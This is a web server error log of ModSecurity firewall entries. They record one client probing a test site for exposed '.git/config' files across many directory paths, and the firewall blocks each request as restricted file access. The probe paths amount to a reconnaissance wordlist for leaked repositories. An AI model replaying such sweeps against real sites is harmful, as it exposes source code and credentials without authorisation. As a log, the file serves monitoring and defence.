[Sat Oct 26 05:36:16.086137 2024] [:error] [pid 2872370] [client 179.43.189.138:55640] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mrwAAAAM&quot;]
[Sat Oct 26 05:36:16.087719 2024] [:error] [pid 2872367] [client 179.43.189.138:55620] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /source/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjoQAAAAA&quot;]
[Sat Oct 26 05:36:16.087741 2024] [:error] [pid 2872371] [client 179.43.189.138:55638] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrQAAAAQ&quot;]
[Sat Oct 26 05:36:16.087922 2024] [:error] [pid 2872371] [client 179.43.189.138:55638] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrQAAAAQ&quot;]
[Sat Oct 26 05:36:16.087960 2024] [:error] [pid 2872367] [client 179.43.189.138:55620] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjoQAAAAA&quot;]
[Sat Oct 26 05:36:16.088083 2024] [:error] [pid 2872371] [client 179.43.189.138:55638] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrQAAAAQ&quot;]
[Sat Oct 26 05:36:16.088227 2024] [:error] [pid 2872436] [client 179.43.189.138:55630] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgAAAAAY&quot;]
[Sat Oct 26 05:36:16.088254 2024] [:error] [pid 2872367] [client 179.43.189.138:55620] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjoQAAAAA&quot;]
[Sat Oct 26 05:36:16.090312 2024] [:error] [pid 2872368] [client 179.43.189.138:55664] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /panel/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1owAAAAE&quot;]
[Sat Oct 26 05:36:16.090641 2024] [:error] [pid 2872368] [client 179.43.189.138:55664] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1owAAAAE&quot;]
[Sat Oct 26 05:36:16.090851 2024] [:error] [pid 2872368] [client 179.43.189.138:55664] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1owAAAAE&quot;]
[Sat Oct 26 05:36:16.102721 2024] [:error] [pid 2872369] [client 179.43.189.138:55670] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQgwAAAAI&quot;]
[Sat Oct 26 05:36:16.102910 2024] [:error] [pid 2872369] [client 179.43.189.138:55670] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQgwAAAAI&quot;]
[Sat Oct 26 05:36:16.103104 2024] [:error] [pid 2872369] [client 179.43.189.138:55670] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQgwAAAAI&quot;]
[Sat Oct 26 05:36:16.107623 2024] [:error] [pid 2872392] [client 179.43.189.138:55694] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /templates/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCgAAAAU&quot;]
[Sat Oct 26 05:36:16.107827 2024] [:error] [pid 2872392] [client 179.43.189.138:55694] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCgAAAAU&quot;]
[Sat Oct 26 05:36:16.107988 2024] [:error] [pid 2872392] [client 179.43.189.138:55694] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCgAAAAU&quot;]
[Sat Oct 26 05:36:16.109525 2024] [:error] [pid 2872370] [client 179.43.189.138:55706] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /views/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/views/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msAAAAAM&quot;]
[Sat Oct 26 05:36:16.109710 2024] [:error] [pid 2872370] [client 179.43.189.138:55706] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/views/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msAAAAAM&quot;]
[Sat Oct 26 05:36:16.109870 2024] [:error] [pid 2872370] [client 179.43.189.138:55706] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/views/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msAAAAAM&quot;]
[Sat Oct 26 05:36:16.110277 2024] [:error] [pid 2872367] [client 179.43.189.138:55716] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /layout/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjogAAAAA&quot;]
[Sat Oct 26 05:36:16.110614 2024] [:error] [pid 2872367] [client 179.43.189.138:55716] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjogAAAAA&quot;]
[Sat Oct 26 05:36:16.110830 2024] [:error] [pid 2872367] [client 179.43.189.138:55716] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjogAAAAA&quot;]
[Sat Oct 26 05:36:16.111373 2024] [:error] [pid 2872371] [client 179.43.189.138:55730] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /media/uploads/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/uploads/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrgAAAAQ&quot;]
[Sat Oct 26 05:36:16.111571 2024] [:error] [pid 2872371] [client 179.43.189.138:55730] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/uploads/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrgAAAAQ&quot;]
[Sat Oct 26 05:36:16.111757 2024] [:error] [pid 2872371] [client 179.43.189.138:55730] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/uploads/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrgAAAAQ&quot;]
[Sat Oct 26 05:36:16.112216 2024] [:error] [pid 2872436] [client 179.43.189.138:55678] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /template/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgQAAAAY&quot;]
[Sat Oct 26 05:36:16.112443 2024] [:error] [pid 2872436] [client 179.43.189.138:55678] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgQAAAAY&quot;]
[Sat Oct 26 05:36:16.112596 2024] [:error] [pid 2872436] [client 179.43.189.138:55678] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgQAAAAY&quot;]
[Sat Oct 26 05:36:16.112608 2024] [:error] [pid 2872368] [client 179.43.189.138:55736] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /files/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pAAAAAE&quot;]
[Sat Oct 26 05:36:16.112855 2024] [:error] [pid 2872368] [client 179.43.189.138:55736] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pAAAAAE&quot;]
[Sat Oct 26 05:36:16.113043 2024] [:error] [pid 2872368] [client 179.43.189.138:55736] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pAAAAAE&quot;]
[Sat Oct 26 05:36:16.125446 2024] [:error] [pid 2872369] [client 179.43.189.138:55740] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /resources/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhAAAAAI&quot;]
